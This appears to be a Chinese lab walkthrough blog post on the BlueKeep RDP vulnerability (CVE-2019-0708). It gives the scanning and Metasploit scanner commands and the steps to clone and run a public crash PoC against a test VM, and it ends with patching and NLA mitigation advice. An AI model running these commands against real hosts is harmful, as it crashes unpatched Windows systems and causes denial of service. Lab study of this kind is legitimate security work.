当前位置:首页 » 《随便一记》 » 正文

cve-2019-07-08_m_de_g的博客

6 人参与  2022年03月12日 18:14  分类 : 《随便一记》  评论

点击全文阅读


cve-2019-07-08——RDP漏洞利用

一、影响的系统版本

(1)Window2003
(2)Window2008
(3)Window2008 R2
(4)Window xp
(5)Window7

二、测试环境

kali ip:192.168.158.130
靶机ip:192.168.158.139
靶机搭建,请参考我的另一篇博客
https://blog.csdn.net/m_de_g/article/details/119957223?spm=1001.2014.3001.5501

三、思路

1.内网端口扫描

arp-scan -l

在这里插入图片描述

得到靶机的IP:192.168.158.139

2.nmap扫描查看靶机开放的端口

nmap -sS 192.168.158.139

在这里插入图片描述
发现靶机开放了3389端口

3.启动msf

msfconsole

在这里插入图片描述
4.查找能力利用0708的攻击模块

search 0708

在这里插入图片描述
5.选择合适的攻击模块

use auxiliary/scanner/rdp/cve_2019_0708_bluekeep

在这里插入图片描述

6.查看需要设置的参数

show options 

在这里插入图片描述
7.发现了没有设置好攻击目标的IP

set rhosts 192.168.158.139

在这里插入图片描述
8.设置好参数之后,执行run
在这里插入图片描述
9.发现目标主机存在0708的漏洞,可以进行攻击

四、漏洞攻击

1.因为kali没有pip3,所以我们在使用前应当先安装pip3,再安装impacket库

apt-get install python3-pip
pip3 install impacket

2.下载POC

git clone https://github.com/n1xbyte/CVE-2019-0708.git
cd CVE-2019-0708

3.进行攻击

python3 crashpoc.py 192.168.158.139 64         //后面的64是版本号

在这里插入图片描述

在这里插入图片描述

五、漏洞修复

(1)及时打对应系统的安全补丁
(2)关闭3389端口或添加防火墙安全策略限制对3389端口的访问
(3)打不了补丁的可以开启远程桌面(网络级别身份验证(NLA)),可以临时防止漏洞攻击

六、参考链接

https://blog.csdn.net/weixin_44677409/article/details/94552370


点击全文阅读


本文链接:http://m.zhangshiyu.com/post/36109.html

靶机  攻击  漏洞  
<< 上一篇 下一篇 >>

  • 评论(0)
  • 赞助本站

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

最新文章

  • [糙汉嘴软心硬,娇妻日日晚起]小说精彩节选免费试读_「黎夏顾卫城」主线最终章倒计时
  • 我的亲妹妹我当做畜生,只有儿子来救我反转剧情试读片段_[***小宝李小翠]精彩章节免费试读
  • 往梦难复温,沈淮霆宋思予在线_往梦难复温,沈淮霆宋思予在线
  • 爱意清浅随风离(简凝夕陆靳燃),爱意清浅随风离
  • 「冲喜而已,侯爷别太爱」小说免费在线阅读_侯府侯爷乐瑶主线最终章倒计时
  • 好看的往梦难复温沈淮霆宋思予_往梦难复温沈淮霆宋思予
  • 天才京剧花旦被废嗓后成为芭蕾舞王+后续+结局(秦意宋笙)全书秦意宋笙结局_秦意宋笙+结局列表_笔趣阁(天才京剧花旦被废嗓后成为芭蕾舞王+后续+结局)
  • (番外)+(全书)往梦难复温(沈淮霆宋思予+番外+全书)_(往梦难复温+番外+全书)免费_笔趣阁(沈淮霆宋思予)
  • 江晚烟陆聿我终于失去了你结局+番外(江晚烟陆聿)列表_江晚烟陆聿我终于失去了你结局+番外(江晚烟陆聿)结局篇+番外在线
  • 池雾陆砚寒结局+番外(陆砚寒池雾)列表_池雾陆砚寒结局+番外(陆砚寒池雾)池雾陆砚寒结局+番外在线
  • 沈静怡傅励行+后续+结局(傅励行沈静怡)列表_沈静怡傅励行+后续+结局(傅励行沈静怡)沈静怡傅励行+后续+结局在线
  • 非典时,我被妻子的白月光误诊遗弃在病房节选角色羁绊特辑‌_田越苏雅白月光角色专属支线试读入口

    关于我们 | 我要投稿 | 免责申明

    Copyright © 2020-2022 ZhangShiYu.com Rights Reserved.豫ICP备2022013469号-1